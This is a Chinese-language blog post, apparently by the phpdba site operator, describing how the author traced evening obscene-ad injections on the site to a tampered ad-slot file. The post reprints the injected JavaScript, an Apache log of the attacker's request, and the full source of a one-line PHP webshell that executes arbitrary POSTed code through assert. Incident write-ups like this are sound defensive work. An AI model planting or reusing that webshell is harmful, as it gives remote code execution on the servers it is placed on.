【webshell】页面嵌入不雅对联广告问题排查过程

一、情况描述

1、近期很多phpdba用户反应内页有不雅图片广告,晚上8点到12点就有,白天恢复正常。
2、用户分布在全国各地,辽宁鞍山网通、上海闵行区电信都有这样的问题,电脑手机都有这情况。
3、截图列表
ask1ask2ask3

二、问题分析

1、网站被黑

由于网站漏洞客观存在,就有人利用漏洞上传webshell,修改网站源码,以彰显其技术之牛逼。一种直接破坏源网站正常业务;另一种则在网站代码中注入其广告代码,牟利。

2、第三方统计网站被劫持

我们网站使用了51yes、cnzz等第三方网站进行数据统计及分析。曾经就遇到cnzz某些地区dns被劫持,导致我们网站上面也出现不雅广告的情况,去掉该统计代码即恢复正常。

3、运营商代理劫持 (http劫持、dns劫持)

如*城宽带,网内用户所有请求都从其网关服务器透明代理经过,然后代理服务器可以在返回给用户html的过程中,在html下添加其广告代码。比如:常见的右下角的弹框广告。

三、问题定位

1、与反应问题的用户联系

a、检查了域名解析情况,都正常解析到自己服务器。【排除dns劫持情况】

b、去掉第三方统计网站代码,不雅广告依然存在。【排除第三方统计网站被劫持情况】

c、查看用户协助保存下来的html代码,发现在页面广告位308下添加了不雅广告对联代码(如下图),从而确认自己广告系统可能被篡改。先去掉了该广告位代码,恢复正常。

ask4

d、之后又有用户反馈,问题依然存在。远程用户电脑,排查问题。发现依然是广告为代码被篡改。

var phpadsbanner = '';

phpadsbanner += '<'+'li style="text-decoration: none;">» <'+'a href=\'http://tc.phpdba.com/adclick.php?bannerid=5915&amp;zoneid=109&source=&dest=http%3A%2F%2Fshop.phpdba.com%2Furls%2FBNrH7\' target=\'_blank\'>孕妈大礼包付邮试用<'+'/a><'+'/li>';
document.writeln("<script type=\"text/javascript\" >BAIDU_CLB_SLOT_ID = \"847159\";</script>");
document.writeln("<script type=\"text/javascript\" src=\"http://cbjs.baidu.com/js/o.js\"></script>");
document.write(phpadsbanner);

自己本地查看该广告位代码,同上。登录服务器查看,服务器上该广告位在19点59分58秒,被修改成上述代码,同时对方还在尝试修改其他广告位代码(如下图)。

ask6

知道修改时间段之后,就可以查看代码同步日志及apache日志。

发现可疑apache访问,锁定webshell位置

199.1.88.29, 118.244.147.95, 127.0.0.1 – – [23/Oct/2014:19:59:46 +0800] “POST /bbs/attachments/forumid_41/kcf.php?ck=assert HTTP/1.0” 200 335 602 “http://xxx.phpdba.com” “Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0”

源码如下

ok!<?php $_GET[‘ck’]($_POST[‘lan’]);?>

e、将该webshell堵住,广告代码重新生成,问题暂时解决。提醒webshell利用者,请做有素质的“白帽子”,这样或许你得到的更多。

f、phpdba的安全道路上,因为有“白帽子”,会越来越光明。网络安全,需要更多“白帽子”,请加入“白帽子”队伍。

四、思考问题

以下是广告同步日志,请问从下面日志里面,你看到了什么问题,谢谢!

Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/adscache/caches/109.js
/adscache/caches/
/adscache/
/
sending incremental file list
109.js
sent 665 bytes received 37 bytes 1404.00 bytes/sec

 

此条目发表在技术生涯分类目录,贴了标签。将固定链接加入收藏夹。